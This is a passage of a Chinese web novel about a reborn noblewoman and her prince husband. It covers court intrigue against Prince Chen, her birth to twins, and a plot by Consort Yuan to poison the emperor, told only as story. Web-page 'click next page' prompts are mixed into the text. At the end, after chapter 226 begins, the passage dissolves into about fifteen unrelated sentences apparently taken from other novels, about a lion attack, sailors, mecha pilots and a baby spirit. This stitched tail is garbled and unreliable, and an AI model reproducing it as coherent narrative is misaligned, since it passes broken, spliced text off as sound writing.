他虽没打算放过辰王,但为了皇伯父,并不想要他的命。可以圈禁一辈子,和死了也区别不大。
“我......”霍凝玉一噎。
辰王和他有着血缘关系,还是皇上的长子,要是辰王死在皇上的前面,皇上肯定会大受打击。
而夫君最在意的亲人就是皇上。
“我不是非让他死,而是他自己作死。”霍凝玉见赵炳煜并没有责怪之意,又把话说完。可眼神有淡淡的落寞。
“凝玉,我知道你对前世耿耿于怀。辰王才是你最大的仇人。
我知道你想报仇,不过看在皇伯父的份上,我希望辰王死在皇伯父的后面,让他老人家不要经历白发人送黑发人的痛苦。”
赵炳煜看到妻子眼里的暗淡,想法瞬间变了。
他从来没在乎过辰王的死活,他只在乎皇伯父的心情。
“夫君真好。”霍凝玉听到这话,立刻露出笑脸,知道夫君同意了她的计策。
时间慢慢推移。
只短短半个月时间,老丞相温思邈七十高龄,终于因一场风寒再也不能上朝,递了告老的折子,乾德帝亲自上门看望,见他下床都困难,只得批了他的请辞。
接着都御使容敬清居然在自己家里都能不小心在园子里摔了一跤,本就年纪大了,不养个一年半载,难以恢复。只得递了告老的折子。
而且他已六十有四,是时候告老了。
容华芝为此哭了一场,看到老父亲瞬间憔悴的脸,她心疼不已。
还有帝师陈大人,在一个夜晚,无人察觉的情况下,就睡了过去,再也叫不醒。
为此乾德帝伤心了两日。
三个在皇帝眼里无比重要的老臣相继不能为他分忧。
帝师虽没有上朝,但他时常会写折子给皇上,分析一些时事给皇上听。这等于也在帮乾德帝分忧,真正做到一日为师,终身为师。
三个肱骨之臣突然倒下,乾德帝伤感了几日,不得不面对现实。
思量了再三,乾德帝居然不顾朝臣们的各种推荐,直接提了霍鹏程做丞相,曹达提任都御史,引起朝堂一片哗然。
曹达也就罢了,正二品提到从一品,而霍鹏程,由正二品一下提到正一品,跳过从一品,历史上多少人升到五品以上就再也升不动,而比霍鹏程更适合做丞相一职的都被皇上给忽略了。
可谁都不是傻子,皇上这是在给皇太孙铺路。
最气的就数辰王,他想方设法弄下去的丞相之位,却便宜了霍鹏程。
他让己方官员极力推荐礼部尚书桑泽辉,结果父皇却给了霍鹏程。
他想尽办法要让霍鹏程腾出户部尚书之职没成,还折了谢家进去。
现在却不费吹灰之力,这个位置就空了出来。
值得安慰的是,他终于安插了户部侍郎的位置进去,正是他的舅舅庆国公袁宏翼。
“夫君,为何让庆国公进户部任侍郎一职?”霍凝玉得知这个消息,有点不忿。
“你呀,操这么多心。当然是他最适合。”赵炳煜笑得有些奸诈。
霍凝玉怔了怔:“你想利用他做什么?”
“当然是让他与辰王一起下地狱。”赵炳煜说得轻描淡写。
霍凝玉听得笑颜如花。
“对了,庆国公还帮辰王做了一件大事。”霍凝玉细思了一下,她魂飘所见到的一件事。
“什么事?”赵炳煜一愣。
“夫君,你查查在京郊南面有没有一个地下赌坊叫玄黄造化坊,如果我没记错的话,应该在一个庄子上,正是庆国公府的产业,他们做得很隐蔽。
我前世进去看过,不过那是两年后,里面奢靡至极,伺候的都是难得一见的美人,赌徒极其疯狂。还有全国各地的商人都以进去一赌为荣,京中还有一些官员也悄悄去赌。
现在什么样,我不知道。因为很多事都变了,那里正是辰王来钱的重要场所。至于是不是全靠赌钱,我也不清楚。”霍凝玉说道。
“有。”赵炳煜早就知道有那处地方。
“你已经知道了?可有进去看过?”霍凝玉没想到夫君已经知道了此事。
“里面守备森严,一般人进不去。谁想要进去玩,得提前约好,每个人进去都要经过层层盘查,得到了他们的认可,坐他们的马车进去。
进去前都必须佩戴他们提供的面具,谁也不认识谁。”赵炳煜解释道。
他也试着想进去看看,结果第一关都过不了,这是知道他的身份,不让他进去。
他又安排下属进去,人是进去了,可是里面到处都是赌坊的守卫,想要四处查看,根本没机会,只能根据身上所带的银钱多少决定在哪个地方玩。什么也查探不到。
“果然,和我以前看到的一模一样。”霍凝玉幽幽道。
居然提前了一年多,这个赌坊就出现了。
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第222章 要生了
看来应该也是受她重生影响,辰王把计划提前了。
“辰王对帝位真是执着。”霍凝玉又感叹。
“他离那个位置只有一步之距,对于有野心的辰王来讲,怎么可能放弃。而且皇太孙还是个孩子,他更不可能放弃。另外我还查到一件事。”赵炳煜眼睛危险地眯了眯。
“什么事?”霍凝玉好奇。
“你可还记得那个廖含章?”
“记得,就是那个会试考了第三名,殿试落到第四名的那人,他居然还曾托辰王妃来向我娘提亲。我娘骂他是癞蛤蟆。”说到这个,霍凝玉就想笑。
就连二弟也跟着这样叫。
“可不就是只癞蛤蟆吗?本王的心尖宠,他也敢肖想。”赵炳煜说着表白的话,眼神却如吃人的野兽。
“嘿嘿,他是不是犯了什么事?”霍凝玉被他的话逗笑,心里甜如蜜。
“殿试后选官,辰王为他安排了彭城县的县令之职。而彭城县很可能有银矿。也许辰王早就得到这个消息,特意安排他去监督私采银矿。”
“哦,我想起来了,没错,那个赌坊应该就是他洗钱的地方。里面有一个银库,设有重重机关,我知道怎么进去,等我生完孩子,我带你去。”霍凝玉对破坏辰王的好事,非常积极。
“好!”赵炳煜见她如此兴奋,不忍拒绝。
“哎呀!”霍凝玉突然发出一声低吟。
“怎么了?”赵炳煜被吓一跳。
霍凝玉没理他,而是呆呆地看着一处,实际是在感觉。
她刚才好像后腰刺痛了一下,可太快,此时又什么感觉也没有。
“是不是孩子又踢你了?”赵炳煜摸着霍凝玉的肚子,想感觉一下孩子有没有调皮。
可是过了好一会儿,什么感觉也没有。
“走,扶我到院子里走走,洪大夫说了,孕妇最忌坐着不动。多走动,胎儿的头才会向下,更利于生产。”霍凝玉很听大夫话,而大嫂就是先例。
按正常时间,还有半个月就要生了,赵炳煜最近不是万不得已都不出府。
“凝玉,来,把这碗汤喝了。”容华芝亲自端着一个托盘从小厨房那里过来。
为了女儿生产时有力,容华芝想着法给女儿进补。
双胎,肚子太大,占了胃的位置,导致每顿只吃一点点就吃不下,只得少吃多餐。
现在霍凝玉一日要吃五六次。
“娘,我才刚吃过东西没多久。”霍凝玉没感觉到饿。
“这只是汤,很快就下去了,不占地方。”容华芝劝道。
她亲手炖的鱼汤,白白嫩嫩的。要是女儿不喝,就又进了女婿肚子里。
最近女儿不吃的东西全都被女婿吃了,女儿没见长肉,女婿倒长胖了些。
“凝玉,今日午饭你并没有吃多少,还是喝了吧。”赵炳煜见霍凝玉皱起的脸,温声帮着岳母劝道。
看着两双殷切的目光,霍凝玉知道躲不过,最近她实在吃得有些腻,可母亲亲手做的,她又不忍拒绝。
坐到院子里的石桌前,端起碗,慢慢喝起来。
可是刚喝了两口,突然,又一阵刺痛传来,还是在刚才感觉到的相同位置。
她端碗的手一顿。
“怎么了?”容华芝看出异样,“是不是要生了?”
“不是还有半个月吗?”赵炳煜有些无措。
他没经历过,真正面对妻子要生产时,他感觉自己如无头苍蝇。
“提前半个月也是正常的。”
霍凝玉静静坐着,等着下一次疼痛的到来,结果这一等,整整等了一刻多钟才又有了一次感觉。
大嫂把她的经历早就告诉她,真如大嫂所描述的那样。
“怎么样?”容华芝比谁都紧张,当年她生头胎时都没这么紧张。
“娘,好像真的要生了。”霍凝玉肯定道。
“来人,快,通知稳婆准备。”容华芝一声惊呼。
“奴婢这就去通知。”卫嬷嬷就站在不远处,一听王妃要生了,喜不自胜,匆匆离去。
“王妃,奴婢扶你进屋去。”翡翠自认力气比夫人大,自告奋勇。
“我来扶。”赵炳煜终于从无措中回过神,“凝玉,是不是很疼?”
“刚开始,没有多疼。”霍凝玉并没觉得有多难受。
很快,整个王府沸腾起来。
主子就三个,其他都是奴仆,但都有条不紊忙碌起来。
杜管家一一安排。有人去霍家报信,有人去容家报信,有人进宫去报信,就连忠勇伯府都没放过。
凡王爷王妃在意的亲戚都通知一遍。
很快,所有亲朋好友都来了。
“凝玉,现在怎么样?”霍鹏程关心问道。
他是从衙门里直接过来的,官服都没换。
“父亲,就是疼。其他感觉没有。”霍凝玉说的大实话。
可霍鸣昶听得想笑,生孩子除了疼,还有别的感觉吗?他没听说过。
可他又不敢笑出来,万青黛发现他的异样,悄悄在他后腰上拧了一把,让他注意点。
“大姐很难受。”万青黛悄声在他耳边提醒。
这章没有结束,请点击下一页继续阅读!“大姐,你要是疼得受不了,你就大骂姐夫,是他让你受这么大罪的。”霍鸣昶已经快十八岁,又是血气方刚的年纪。曾私下悄悄看过妖精打架的书。
知道女人为什么会怀孕。
“你是不是欠揍?”容华芝一声大喝。
当着女婿的面怎么能说这种话。
“凝玉,你要是忍不住就骂出来,我随便你骂。”赵炳煜立刻赞成小舅哥的说法。
只要能减轻凝玉的疼痛,让他怎么牺牲都没问题。
“噗嗤!”霍凝玉被二弟和夫君的话给逗得笑出声。
当霍凝玉感觉疼痛越来越密时,就连乾德帝和皇后都来了。
太子妃和赵凌哲紧跟其后。
可见乾德帝对赵炳煜的宠信,连带着霍凝玉在他心里的地位也非同一般。
此时霍凝玉还没进产房,被赵炳煜和翡翠架着在廊前被动散步。
“霍姐姐,我是不是就要见到弟弟或者妹妹了?”赵凌哲很新奇。
东宫只有他一个孩子,他不知道有弟弟妹妹是什么感觉。
“凌哲啊,等凝玉生了,你就不能再叫姐姐了,她可是你皇婶。到时她生的弟弟妹妹叫你哥哥,而你却叫他们的母妃是姐姐,这不合礼数。”乾德帝笑着说道。
“好吧,既然我有了弟弟妹妹,就不要姐姐了。”赵凌哲很快接受来自皇祖父的教导。
“你不要我了?”霍凝玉又被赵凌哲的这话给逗得故意板着脸,抓他的语病。
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第223章 龙凤呈祥
“不是,是不叫姐姐了,我怎么可能不要你。从今日开始,你就是我皇婶。”赵凌哲立刻解释。
他想通过自己的插科打诨,转移霍凝玉的注意力,让她少些痛苦。
霍凝玉被逗得一笑。
她这一笑,还没完全笑开,脸又猛地一抽,剧烈的疼痛让她瞬间弯腰,可肚子太大,弯不下,额头渗出细密的冷汗。
赵炳煜感觉臂弯一沉,急忙将她扶稳,声音都变了调:“凝玉,是不是很疼?”
“快,扶她进产房,时间差不多了,不能再走了。”容华芝当机立断,指挥着早已候在一旁的两个稳婆。
赵炳煜直接打横抱起霍凝玉,大步走进早就准备一新的产房。
轻轻把人放到床上,但并没有松开手。
“炳煜,你出去吧。你不合适在这里待着。”容华芝直接赶人。
“不,岳母,我留下陪着凝玉,我要与她一起面对生产的痛苦。”赵炳煜握住霍凝玉的手不松开。
“你是皇家王爷,哪能在此。”容华芝不赞成,皇帝就在外面,她怎么允许他在产房里陪着女儿,万一皇上说他们霍家持宠而娇就不好了。
“大哥都能陪着大嫂生产,我怎么就不能了?我不出去。”赵炳煜态度坚决。
“哎!”容华芝无奈,只得作罢。
产房门扉紧闭,将一众焦急的亲眷隔绝在外。
里面很快传来霍凝玉压抑的,断断续续的痛吟声,像是一把钝刀子,一下下剐在亲人的心头。
可女人生孩子,哪个不是这样?谁也不能替代。
霍鹏程父子三人,在廊下不断徘徊。
赵凌哲被太子妃牵着。
“母妃,当年您生我时,是不是也如霍姐姐这般疼?”他仰起小脸,脸上的担忧和心疼显而易见。
“是啊,每个孩子来到这世上,都要让母亲经历生死之痛,方能来到这世上。”太子妃温声道,摸了摸了儿子的头。
“母妃!”赵凌哲扑进太子妃怀里,感受着母亲的温暖。
以前他只是听说过,女人生子很疼,今日身临其境,才真正体会到女人生子这么痛苦。
以后他一定好好孝顺母妃。
产房内,赵炳煜僵坐在床头,拳头紧握,指节泛白,恨不得能以身相代。
容华芝也站在一旁,看着女儿受苦,可这事,谁也替代不了,只能凝玉一个人扛过去。
“凝玉。”赵炳煜手足无措,只能拿着帕子替她擦汗。
容华芝心里也很难受,但她不能制造紧张,还得安慰女儿女婿。
她拍了拍女婿的肩膀,“女人生孩子都是这般,放宽心,凝玉是个有福气的。”
时间在焦灼的等待中慢慢流逝。
疼痛越来越密集。
产房内的声音渐渐变得高亢而凄厉。
霍凝玉已无法再忍耐,痛呼声夹杂着破碎,大骂道:“赵炳煜......你个浑蛋,都是你......啊!”
霍凝玉再也忍不住,当真如二弟所说,开始大骂赵炳煜。
赵炳煜非但不恼,反而应和:“对,是我浑蛋。凝玉,你使劲骂。骂出来就不疼了。”
霍凝玉似乎被这话激了一下,声音带着哭腔和怒意:“你说得轻巧......下次......下次换你来生。”
“好好好,我来生,下次一定我来生。”赵炳煜口不择言,只求她能好受些。
这话让一旁紧张万分的容华芝都有些哭笑不得。
而这话也传出产房,让外面的亲眷们都好笑地摇头。
太子妃拉着赵凌哲的手,低声教育:“你看,女子生产便是这般凶险,你日后可要好好对待为你生儿育女的女子。”
赵凌哲似懂非懂,但看着霍家人坐立难安的模样,还有皇婶凄厉的叫声,重重地点了点头。
屋内,稳婆的声音不断传来:“王妃,用力。看到头了,再使把劲儿。”
霍凝玉只觉得身体像是被撕裂开,所有的力气都随着一次次的用力而流逝,意识在剧痛的浪潮中浮沉。
她咬紧口中的软木,汗水浸透鬓发,眼前阵阵发黑。
“凝玉,坚持住。想想孩子,想想马上就要见到他们了。”容华芝紧紧握着女儿抓在床沿布条上的手,声音带着不易察觉的颤抖。
“凝玉,孩子就要与我们见面了,只需熬过今日。”赵炳煜也鼓励,可他眼里含着泪花。
同时他也想到自己的母妃,当年一个人面对生产,她是怎么熬过来的?
或许是母亲和夫君的鼓励起了作用,或许是与生俱来的母性力量爆发,霍凝玉凝聚起最后一丝力气,发出一声近乎嘶哑的长吟,猛地向下用力。
有什么东西从她的下体滑出。
“生了,生了,是一位小世子。”稳婆欢喜道。
麻利地接住,开始处理。
“哇!”一声响亮的婴儿啼哭声骤然响起,划破了紧张凝固的空气。
门外众人刚松了半口气,却听里面另一个稳婆急道:“还有一个,王妃,肚子里还有一个,还不能松劲,快,继续用力,争取一鼓作气,反而更容易。”
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!赵炳煜那半口气立刻又提了上来,竟比刚才还要紧张。
霍凝玉已是筋疲力尽,听了稳婆的话,凭着本能再次凝聚力气。
这一次似乎顺利许多,不过片刻,另一道更为洪亮有力的啼哭紧随而至。
“出来了,是位小郡主!恭喜王爷,贺喜王妃,是龙凤胎,龙凤呈祥啊!”稳婆的声音充满了喜悦。
赵炳煜紧紧握住霍凝玉虚软无力的手,声音哽咽:“凝玉,辛苦了,我们有孩子了,还是龙凤胎,我们一下就儿女双全,以后我们都不生了,两个就够了。”
自成年,他从没掉过眼泪,而此刻,他再也控制不住。
亲眼目睹妻子的生产过程,他怕了,他怕凝玉要是挺不过去,他失去的不但是孩儿,更有他最珍视的妻。
霍凝玉面色苍白如纸,浑身湿透,像是从水里捞出来一般,连睁眼的力气都没有,却还是努力扯出一个极淡的微笑。
稳婆将清理干净,包裹在襁褓中的两个孩子抱了过来。先出生的小世子略显瘦小,哭声细弱,而后出生的小郡主则声音洪亮。
赵炳煜小心翼翼地接过两个孩子,左看看,右看看,欢喜得不知如何是好。
他俯下身,将孩子凑到霍凝玉眼前:“你看,这是我们的儿子和女儿。”
霍凝玉看着自己怀胎十月,又经历生产之痛得来的宝贝,眼睛舍不得眨一下。
只是只坚持了一小会儿,她就闭上了眼睛,她太累了。
“凝玉!”赵炳煜惊呼。
“她睡着了,生产消耗了她全部精力,让她好好睡一觉。走吧,大家都等着看孩子呢。”容华芝接过一个孩子,慈爱地拢了拢襁褓。
两人各抱一个走出产房。
所有人都围拢过来,看着一对婴孩,皆是喜上眉梢。
“好,好,我皇室又添血脉,此乃大喜!还是龙凤胎。我南楚建国一百多年来,皇室从没出生过龙凤胎。”乾德帝龙颜大悦。
“传朕旨意,永安王妃霍氏诞育皇家子嗣有功,重赏,赐良田三百亩,再赐京中商铺两间。”
“多谢皇伯父。”赵炳煜替霍凝玉道谢。
赵炳煜看着怀中女儿,再望一眼儿子,只觉得人生圆满,莫过于此。
“皇伯父,我要去宗庙。”赵炳煜笑中带泪。
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第224章 两个消息
“去吧。”乾德帝理解他的心情。
赵炳煜把孩子送进房里,看到霍凝玉沉沉睡着,在她额上落下轻轻一吻,才直起身出去。
他当即骑马出了王府。
青雨三人不明所以,抬头看了看天,都已经月上柳梢头了,王爷怎么这时候出门?
不敢多问,三人只得跟上。
赵炳煜进了宗庙,看守的人见是永安王来,立刻上前伺候在侧。
“王爷是要上香吗?”
“嗯。”
赵炳煜大跨步进了殿里,看到赵家的列祖列宗一个个牌位摆得整整齐齐,开国先祖的画像威严肃穆。
这里除了赵家人的牌位,当然还有他们所娶的妻室的牌位。
靖王妃的牌位也在此供着,享受赵家的香火。
赵炳煜无暇看其他,直接来到他母妃的灵位前,恭恭敬敬跪到蒲团上。
“母妃,我来看您了。”赵炳煜先叩了三个头才直起身。
“母妃,我给您添了两个孙,而且还是龙凤胎,我有了幸福的家,现在又多了两个亲人,等孩子能出门了,我再带他们来看您。”
说着,赵炳煜又拜了下去。
当他再次看向灵位时,怎么感觉灵牌好像轻轻颤动了一下似的。
再仔细看却什么也没发现,灵牌还是如先前一般,静静地立在案台上。
“母妃,你放心。我所娶之人,是我的心上人,我会疼她到老,绝不让她受半点委屈,让她把您没享受到的幸福一起享受。
母妃,来世您一定要嫁个疼你的男人,千万不要再遇到父王。
......”
赵炳煜跪在蒲团上,喃喃自语了两刻钟。
向他的母妃说了很多他与霍凝玉的事,又说了很多皇伯父对他的好。
当他回到王府时,乾德帝早就回了宫,只霍家人还在。
忙到现在,他们连晚饭都还没吃,等着他回来。
霍鹏程看到他眼睛红红的,就知道他做什么去了。
“你母妃肯定很高兴。”霍鹏程稍作猜测就知他是去告慰靖王妃。
“岳父说的是。”
晚饭后,霍家父子三人离去,但萧婉仪和万青黛留了下来。
霍凝玉直到翌日巳时才醒来。
刚一睁眼就看到赵炳煜坐在床头。
还有大嫂和弟妹都在房里,正在摇篮边看着两个小宝宝。
“你醒了?”赵炳煜温声道,笑容柔和。
这时霍凝玉才神思回笼,想起了自己生产过程的狼狈,又想到自己口无遮拦,还被那么多人听了去。
羞得提了被子把脸盖住。
“怎么了?”赵炳煜一怔。
“我没脸见人了。”闷闷的声音从被子里传出来。
萧婉仪和万青黛相互对视:什么情况?
“妹妹,肚子饿了吧?娘早就给你准备了米粥,就等你醒来呢。你看,就温在炉子上。”萧婉仪走过来,扯了扯被子。
霍凝玉这才慢慢把脸露出来。
“你怪不怪我昨日骂你?”霍凝玉不好意思地问出口。
“怎么会?”赵炳煜一下明白了,原来是羞的。
“都怪不着调的鸣昶。”万青黛也明白凝玉刚才的举动是啥意思。
昨日皇上也在呢,大姐真敢骂出口。不过想到在那种时候,谁也管不了那么多。
霍凝玉不过就羞了那么一下,看到赵炳煜温柔的微笑,就把骂人的事抛之脑后。
万青黛端着碗来到床边,赵炳煜接过,把人扶起,就要喂霍凝玉。
“先让我看看孩子再吃。”霍凝玉阻止,她只看一眼就晕睡过去,都没好好看看孩子。
萧婉仪和万青黛一人抱一个过来。
霍凝玉欣喜接过一个。
“这是儿子,皇伯父给赐的名,叫赵胤煦。”赵炳煜又接过女儿,“这是女儿,也是皇伯父起的名,叫赵梦琪。皇伯父说了,如果你不满意,可以改。”
皇伯父昨日回宫就心情很好地起了好几个名,从中选了两个,今早让人传来。
还特意说,可以改,当时赵炳煜很感动。
皇伯父是真宠他,几个堂兄弟府上添丁,皇伯父没有一个亲临的,而凝玉生产,却亲自来了。
“不改了,就这两个名,很好听。希望孩子们也喜欢。”
尤其女儿的名字,皇伯父肯定是想到她说做梦梦见很多事,特意给女儿起了梦琪这个名。
霍凝玉看看怀里的儿子,又看看夫君怀里的女儿,心柔软得能滴出水来。
她一下就儿女双全了,前世的伤痛在此刻得到全部愈合。
上天待她还是公平的,先苦后甜。
还给了她一个真心爱她的夫君。
她的人生圆满了。
“夫君。”霍凝玉抬起头来,轻轻低唤,眼里的柔情溢出。
再把头靠在赵炳煜的肩头。
此刻,两人之间的温馨,萧婉仪和万青黛看在眼里。
萧婉仪挥了挥手,伺候的丫鬟静悄悄离开,两人也出去,还轻轻把门给他们带上,给夫妻二人留下独处的时光。
一种叫幸福的光晕萦绕在一家四口之间,久久不散。
这章没有结束,请点击下一页继续阅读!三日后洗三,永安王府热闹了一整天。
只是宾客们刚刚散尽,一直扮着赵壑的林宇趁着天黑,悄悄进了永安王府。
“头儿,属下收到消息,有人传,在北魏和西凉与我南楚相交的三不管之地的虎啸山,曾是一千年前的龙腾王朝的龙脉所在地。
还说留有千年前的遗址,其他两国已经派人去查。”林宇恭敬递上一封信。
赵炳煜接过,认真看起来。
信正是从那边传回来的。
南楚与三国相交的边城都有他安排的专属线人,主要留意边关各处的动向。
“这个消息可有让皇上知道?”赵炳煜问道。
“还没有,一收到信,属下就来了王府。”林宇如实回道。
南楚各处的线人,就是赵炳煜在负责。
赵炳煜又把信看了一遍。
“头儿,如果这个消息是真,很有可能各国都要抢。这么多年,四国从没传出哪国有龙脉,如果谁占有了龙脉,就有一统四国的可能。到那时,整个天下都将大乱。”林宇知道事情的严重性,眼含担忧。
“本王知道了,你先回去。”赵炳煜淡声道。
林宇离去,赵炳煜正要进内院,这时杜管家也送来一封信。
赵炳煜看完,嘴角危险地勾起。拿着两封信,来到主院,进了内室。
霍凝玉正坐在床上吃东西,翡翠伺候在床前。
珍珠和玛瑙守着孩子,还有两个奶娘。
赵炳煜一进来就让人把孩子抱去西次间。
赵炳煜坐到床沿,接过霍凝玉手里空了的碗。
“怎么了?”霍凝玉一看他的脸色就知道他心里有事。
赵炳煜什么话也没说,就把两封信给霍凝玉看。
霍凝玉接过,先看了杜管家拿来的那封。
“辰王动手了?”霍凝玉惊愕。
信上只写了袁贵妃所用的香料气味有变。
只简单一句话,霍凝玉就知道什么意思了。
一个在宫中多年的贵妃,习惯一般早就养成,突然改了用香的习惯,必有深意。
“没错。他已经等不及了。还是袁贵妃亲自动的手。”赵炳煜咬了咬牙。
父子无亲情,悲也。
霍凝玉又抽出另一封信,认真看完。
看得她心惊肉跳,这怎么可能。
她魂飘五年,从没听说什么龙脉出现。
“这个消息是假的,肯定有人故意放出这个消息。”霍凝玉毫不犹豫就如此判断。
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第225章 不能再等了
“何以见得?”赵炳煜也没有第一时间相信,但他需要霍凝玉的意见。
“我前世飘的五年间都没听到过这个消息,这么重要的事,辰王登基后不可能不重视。
虽然现在因我的重生变了很多,但那也只是与我相关的人受影响,而这种消息绝对不会受我重生影响。
所以这个消息一定是假的。消息背后肯定有深意。
辰王又开始对皇伯父下手,这两者之间有没有关联呢?”霍凝玉把两者联系起来。
“真聪明,我也是如此想的。很可能就是辰王故意制造这么一个让我不得不去查探一番的消息,或许他连另两国也放了同样的消息,目的就是要引我出京。
如果我出京去探查此事,短时间不可能回来。
而现在钟离洛又去了战场,京里皇太孙最大的倚仗都不在。他再对皇伯父下手,成事的可能性达七成。”赵炳煜分析道。
“我估计他不敢让皇伯父太快出事。
每半月皇伯父都会请一次平安脉,如果身体有所不适,很容易被发现,除非他把院正大人也收买了。
而上一次大公主建议的事,很快被查出,院正大人没有问题。”
“之前没有问题,但现在不一定没有问题,不管蒋院正有没有问题,我们都按计划行事。
明日我就出京。白天就不再回府了,府里的事我会交代好卫嬷嬷和杜管家,你好好坐月子,晚上我再回来陪你。”赵炳煜心疼道。
凝玉才刚刚生产三天,赵炳煜就不得不让她一个人在府里。
“没事的,你又不是真的出京,不过是换回赵壑的身份。”霍凝玉不会拖他的后腿。
只有把辰王彻底打压下去,她才能完全放心。
她前世的仇才算真正报了。
“不过我还是会让林宇去查一查龙脉的事,万一此事是真,那就真的非同小可了。
我们就要好好计划一番。
前世你并没有走那么远,或许有些事变了你也不知道。”赵炳煜对此事很重视。
“你安排就好。”霍凝玉不阻止。
太多事发生了变化。
翌日。
赵炳煜早朝上把那个消息当殿说出来。
乾德帝得知这个消息,眼睛发亮。
龙脉啊,何等重要。
要是属实,提前占领虎啸山,等赵氏有了雄心壮志的君王,再一统四国,开创千年前龙腾王朝的辉煌。
想到此,乾德帝激动无比。
“你确定消息属实?”
“臣只是得到这个消息,至于真假,需去探查后方知。”赵炳煜余光扫了辰王一眼才回答。
辰王也表现出欣喜之色:“父皇,此事非同小可。”
“既然辰王殿下说非同小可,臣以为派辰王去探查最为合适。”赵炳煜立刻推荐。
辰王一噎,但很快有了应对:“父皇,儿臣手里的事丢不开,可能无法前往,而永安王正好没有正经事做。可担此重任。”
赵炳煜自从以自己的身份回朝,乾德帝确实没有安排正经的职务给他。
他主要跟着皇城司的人做了些事情,或者临时做些皇帝分派的事。
他又忙着成亲,刚一成亲,霍凝玉就有了身孕,更没多少时间办差。
辰王的话落,朝中就有几个朝臣出列推荐永安王前去。
他的身份最合适,不是皇子,又深得皇上信任。
而且他本就在外跑了那么多年,对外出办差最有心得。
乾德帝看了看几人,最终决定,还是派赵炳煜去。
赵炳煜欣然领命。
散了朝,赵炳煜跟着乾德帝进了御书房。
赵炳煜向林德全使了个眼色。
林德全看了乾德帝一眼,见主子点头,带着伺候的宫人退了出去,守在门外。
赵炳煜见人都出去,这才把自己的猜测说了出来。
包括袁贵妃已经开始对他动手的事也说了出来。
“你的消息比朕的还灵通。”乾德帝听了赵炳煜的话,并没有生气,反而抱怨赵炳煜的消息比他灵通。
辰王有异心早已是不争的事实,他并没有直接把辰王打压到底,而是一直在给辰王机会。
他特意加大皇太孙的筹码,希望辰王看不到希望就停手,老老实实做他的辰王。
那是他的长子,虽不是嫡子,但因为是第一个儿子,在他心里,辰王是得他疼爱最多的儿子,希望他不要犯错。
可惜,还是让他失望了。
乾德帝叹了一口气。
“皇伯父的心思都在朝政上,这些小事侄儿一直替你看着呢。”赵炳煜说得一本正经。
“有人要害朕,你说是小事?”乾德帝狠狠瞪了他一眼。
“确实不是小事,不过一切都在侄儿的掌控之中。
侄儿只希望您能配合。
这次辰王下如此大的血本把我引出京,又对您下手,这是打算不成功则成仁的决心啊。”
赵炳煜怕自己的劝说还如以前一样,不被采用,把话说得严重些。
乾德帝久久不语。
“皇伯父,不能再等了。
这章没有结束,请点击下一页继续阅读!对于一个一心想上位的皇子来讲,您的年纪越大,他越心急。
他怕关键时候出现什么变故。
所以他为了怕有个万一,就会破釜沉舟。把主动权掌握在自己手里。而现在他已经开始动手。”
赵炳煜苦口婆心继续劝道。
乾德帝走到窗前,透过窗棂看向外面,秋日的阳光散在地上,没有烈日之感,反而感觉凉意渐浓,就如他的心,越来越冷。
老二已经被他贬去了北城,现在老大又开始作死。
难道皇权之争就不能让皇子们个个都安然无恙吗?
他登基之前,死了两个皇弟。父皇登基前死了三个叔伯。
现在轮到他的孩子了,太子已经死了,表面看是西凉人做的,而他一直怀疑老大老二肯定有插一脚,不过是没查到罢了。
乾德帝收回目光,坐到窗下。
“皇伯父,袁贵妃利用与你接触的机会,在自己身上下药,让您呼吸到,而她自是提前吃了解药。
这种手法很难让人查到。而您与她接触的多了,慢慢就会中毒。她下的什么毒,侄儿不得而知,说不定目前太医院的太医可能都查不出来。
您可还记得谢勋家的大儿媳妇江宁?她的母亲杨氏是个医道高手,一直深藏于内宅,无人知道。
而她之所以进了大公主府,就是辰王安排的。
多少太医都说大公主生了慧兰后再不能生,结果在杨氏的医治下,生了个儿子。
如果杨氏早早就给辰王配了些药,还真能让人防不胜防。民间藏有医道高手,自古有之。
我们不得不多加小心。”赵炳煜把问题往最严重了说。
“你说了这么多,想朕如何配合你?”乾德帝心里已经有了决断。
“侄儿打算按辰王的意思出京,不过离京后再以赵壑的身份回来。让林宇扮成我去查龙脉之事。总要去看看是真是假。
林宇的身材与我很像,这段时间他扮赵壑,没引起任何人的怀疑。
直到现在辰王也不知道我就是赵壑。
我还是在你身侧陪伴,护您周全。
袁贵妃下毒,您就装成中毒,咱们将计就计......”
赵炳煜压低声音把自己的计划仔细道来。
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第一卷 第226章 乾德帝中毒
乾德帝听后,点了点头。
是做决断的时候了。
乾德帝深感无力。
年纪大了,近来早朝都有些精力不济。看奏折时间长了,腰酸背痛,需休息好一会儿才有所缓解。
每日都要人给他按按才能入睡。
不服老都不行。
正在专心进食的雄狮发现李斌这个不速之客后,便暂时停下了进食,咆哮一声后,猛扑向李斌,想要把李斌这个侵犯自己领地的不速之客撕成碎片。
时间一分一秒的过去了,众人却是都没有入睡,南宫冰也来到了古家大院,此时正紧皱眉头,心中有着一丝不祥的预感,也说不清是为什么,她很期待林风的到来,想要看看一展威严的样子。
翌日日上三竿,芳姐叫了她才醒,去喂宝宝时主卧没人,男人一米五的单身床,整洁干净。
“我看你对销售这方面比较懂,跟如月一样,暂时可以在销售部门做起,只要有能力,而且对天语集团有忠心,我可以保证让你进入权力的核心。”柳如溪一边喝着旁边的果汁一边道,仿佛再说一件不重要的事情一般。
施润心里着急孩子们的去向,不敢逆他,只得配合着,跟导购交涉着挑起来。
冲着这么两个大男人叫如花美玉?白若竹觉得牙酸,但人家被起这种名的人忍了,她还是表现的自然些吧,别在伤害这些可怜护卫的自尊心了。
“最近一次是我们不少水手都见过他的,直到昨天干活大家都没找到他,才现不对劲了。”一名水手说道。
因为刘安在衙门挨了板子,被家里人抬回去的时候,村里人都看到他一条腿被打断了。
“砰!”一声巨响,只见水潭上暴起七八米高的水花,紧接着第二个,第三个,第N个。仿佛水中源源不断有炸弹爆开一般。
门外那团强大的气压还在,施润强逼着自己镇定,穿上围兜,进厨房。
科城选择了回训练学校,虽然离E科总部相当的近,但是他曾在那里呆了五年也没有被E科高层怎么样,所以他认为最危险的地方就是最安全的,也是最不容易被E科所察觉的。
苏展放松靠在座椅上低声自言自语,然后等待着这五分钟倒计时结束,然后立刻开始,猎鹰Y是陆行近战特化型机动步兵,这反而还很适合苏展。
“陛下恕罪,是我自愿请命来当守关大将的,不关国师大人的事,还请您不要责怪国师大人!”柳青当即跪地拘礼道。
此次叶八未归,族长就怀疑是别的家族因为自己寿元将尽,而故意暗害。
看到眼前这个拥有一岁孩子体型却没有五官的婴魂时,凤绾月双眸酸涩,连眼眶都不自主红了。
